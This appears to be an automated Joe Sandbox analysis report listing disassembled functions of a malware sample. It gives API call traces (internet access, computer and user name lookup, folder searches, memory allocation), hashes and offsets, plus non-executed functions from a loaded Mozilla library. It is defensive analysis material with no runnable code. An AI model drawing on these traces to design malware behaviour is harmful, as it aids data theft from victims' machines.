Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: b85692bac22c82b231da35019f52562fb51be652bf257b83cf11110e45d5589b
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: b85692bac22c82b231da35019f52562fb51be652bf257b83cf11110e45d5589b
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 407d6d1cd96ad1ff19db18d65c2d3d428ccd969b87d209fb948818273e0ae36b
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 407d6d1cd96ad1ff19db18d65c2d3d428ccd969b87d209fb948818273e0ae36b
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 4339b44bf44e1711b1606e82f21baa95871c3cb7deb69ab34985a9f8cf9ac5d6
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 4339b44bf44e1711b1606e82f21baa95871c3cb7deb69ab34985a9f8cf9ac5d6
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,04207E70), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042011A0,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6C8F5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C8F5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8F54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8F54BE
__Init_thread_footer.LIBCMT ref: 6C8F54DB

Part of subcall function 6C91AB3F: EnterCriticalSection.KERNEL32(6C96E370,?,?,6C8E3527,6C96F6CC,?,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB49
Part of subcall function 6C91AB3F: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E3527,6C96F6CC,?,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91AB7C

Part of subcall function 6C91CBE8: GetCurrentProcess.KERNEL32(?,6C8E31A7), ref: 6C91CBF1
Part of subcall function 6C91CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8E31A7), ref: 6C91CBFA

GetCurrentThreadId.KERNEL32 ref: 6C8F54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C8F5516
GetCurrentThreadId.KERNEL32 ref: 6C8F556A
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C8F5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C8F5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C8F5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C8F55E6
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C8F5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F5616

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

GetCurrentThreadId.KERNEL32 ref: 6C8F563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8F5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C8F567C
free.MOZGLUE(?), ref: 6C8F56AE

Part of subcall function 6C905E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C905EDB
Part of subcall function 6C905E90: memset.VCRUNTIME140(6C947765,000000E5,55CCCCCC), ref: 6C905F27
Part of subcall function 6C905E90: LeaveCriticalSection.KERNEL32(?), ref: 6C905FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C8F56E8
GetCurrentThreadId.KERNEL32 ref: 6C8F5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C8F570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C8F5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C8F574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C8F576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C8F5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C8F57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C8F57CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C8F57AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C8F5D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8F548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C8F5B38
[I %d/%d] profiler_init, xrefs: 6C8F564E
GeckoMain, xrefs: 6C8F5554, 6C8F55D5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C8F5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C8F5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C8F5D1C
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8F5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C8F584E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8F5791
MOZ_BASE_PROFILER_HELP, xrefs: 6C8F5511
MOZ_PROFILER_STARTUP, xrefs: 6C8F55E1
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C8F5BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C8F56E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C8F5AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C8F5749
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C8F5717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8F54A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8F54B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8F5766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C8F5D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8F57C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C8F5D2B

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 26a1884dfa61ac86ff1bbcf112db3f55e3665c4d943dd07769d26c02810bda40
Instruction ID: bdf0fe65a9250595f372b61db2a0739c892a2c090498a6e4b84ea64e975908ef
Opcode Fuzzy Hash: 26a1884dfa61ac86ff1bbcf112db3f55e3665c4d943dd07769d26c02810bda40
Instruction Fuzzy Hash: 182207709083009FFB10AF76855836A77B4AF9638CF14892EF8A687F81E734D556CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C8F6D26

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C8F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C8F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C8F6D73
free.MOZGLUE(00000000), ref: 6C8F6D80
CertGetNameStringW.CRYPT32 ref: 6C8F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C8F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C8F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C8F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C8F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C8F6E34
CreateFileW.KERNEL32 ref: 6C8F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C8F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C8F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C8F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C8F7103
free.MOZGLUE(00000000), ref: 6C8F7153
CloseHandle.KERNEL32(?), ref: 6C8F7176
__Init_thread_footer.LIBCMT ref: 6C8F7209
__Init_thread_footer.LIBCMT ref: 6C8F723A
__Init_thread_footer.LIBCMT ref: 6C8F726B
__Init_thread_footer.LIBCMT ref: 6C8F729C
__Init_thread_footer.LIBCMT ref: 6C8F72DC
__Init_thread_footer.LIBCMT ref: 6C8F730D
